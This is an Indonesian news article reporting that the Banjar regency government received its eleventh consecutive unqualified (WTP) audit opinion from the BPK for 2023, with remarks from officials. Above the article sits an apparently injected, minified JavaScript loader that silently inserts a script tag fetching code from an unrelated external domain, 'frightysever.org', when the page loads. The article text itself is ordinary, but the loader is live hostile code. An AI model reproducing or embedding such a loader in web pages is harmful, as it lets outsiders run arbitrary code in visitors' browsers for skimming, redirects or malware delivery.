(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

WTP Ke-11 untuk Pemkab Banjar, Wabup Banjar: Ini Kerja Tulus Semua Perangkat Daerah

KANALKALIMANTAN, BANJARBARU – Pemerintah Kabupaten Banjar meraih Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa Keuangan (BPK) RI Perwakilan Kalsel atas Laporan Hasil Pemeriksaan LKPD 2023.

Penyerahan LHP yang dilakukan pada Selasa (7/5/2024) siang itu merupakan WTP ke-11 yang diterima Pemkab Banjar.

Wakil Bupati Banjar Habib Idrus Al Habsyi menerima langsung LHP tersebut dari Kepala BPK RI Perwakilan Kalsel Rahmadi di Kantor BPK RI, Kota Banjarbaru, Selasa (7/5/2024) siang, bersama 12 kabupaten/kota lain di Kalsel.

Menurut Rahmadi, melalui perolehan opini WTP ini, diharapkan pemerintah daerah terus bekerja keras dan berkomitmen dalam meningkatkan kualitas pengelolaan dan tanggung jawab keuangan daerah sehingga terciptanya tata kelola keuangan yang bersih, akuntabel dan transparan.

“Saya ucapkan selamat dan apresiasi yang setinggi-tingginya kepada 13 kabupaten/kota se Kalsel atas perolehan opini WTP dalam pengelolaan dan tanggung jawab keuangan daerah,” ucap dia.

Lebih lanjut Rahmadi menuturkan, BPK selalu mendorong pemerintah untuk mencapai tujuan negara yaitu mewujudkan masyarakat yang sejahtera, adil dan makmur melalui pemeriksaan keuangan negara.

Berdasar data Badan Pusat Statistik, tergambar beberapa indikator kesejahteraan pada pemerintah kabupaten/kota se Kalsel, salah satunya dalam aspek kemiskinan. Presentase penduduk miskin terendah, terdapat pada Pemkab Banjar, yakni sebesar 2,44 persen dan tertinggi HSU sebesar 6,25 persen.

Presentase penduduk miskin se-Kalsel ini, diakui Rahmadi sangat baik, karena masih jauh berada dibawah presentase nasional. Namun, beberapa kabupaten seperti HSU, HST, Tabalong dan Balangan perlu meningkatkan upaya untuk menekan presentase penduduk miskin, dikarenakan presentasenya masih lebih tinggi dari pada tingkat provinsi yaitu sebesar 4,26 persen.

Dia berharap pencapaian opini tertinggi dalam LKPD menjadi pemicu terhadap peningkatan kualitas pengelolaan keuangan daerah dan mampu mewujudkan kinerja keuangan yang maksimal sehingga tercapainya kesejahteraan masyarakat sebagaimana amanat konstitusi UUD 1945.

Sementara Wabup Banjar Habib Idrus Al Habsyi bersyukur atas hasil LKPD tahun 2023 telah usai, dan Pemkab Banjar mendapatkan predikat WTP.

“Alhamdullah, ini semua berkat kerja tulus dan ikhlas semua perangkat daerah, sehingga kita mendapatkan opini WTP dari BPK sebanyak 11 kali berturut-turut,” ucap dia.

Habib Idrus berharap kinerja ini dapat dipertahankan dan juga ditingkatkan. Menurutnya, predikat WTP merupakan salah satu indikator penilaian keberhasilan pemerintah daerah dalam mengelola keuangan daerah yang disampaikan lengkap dan memenuhi syarat serta ketentuan yang berlaku.

“Menyajikan laporan keuangan yang transparan dan akuntabel, menjadi sebuah keharusan. Karena ini juga bentuk pertanggungjawaban kepada masyarakat,” tutup dia. (Kanalkalimantan.com/dkispbanjar/kk)

Reporter:kk
Editor: Dhani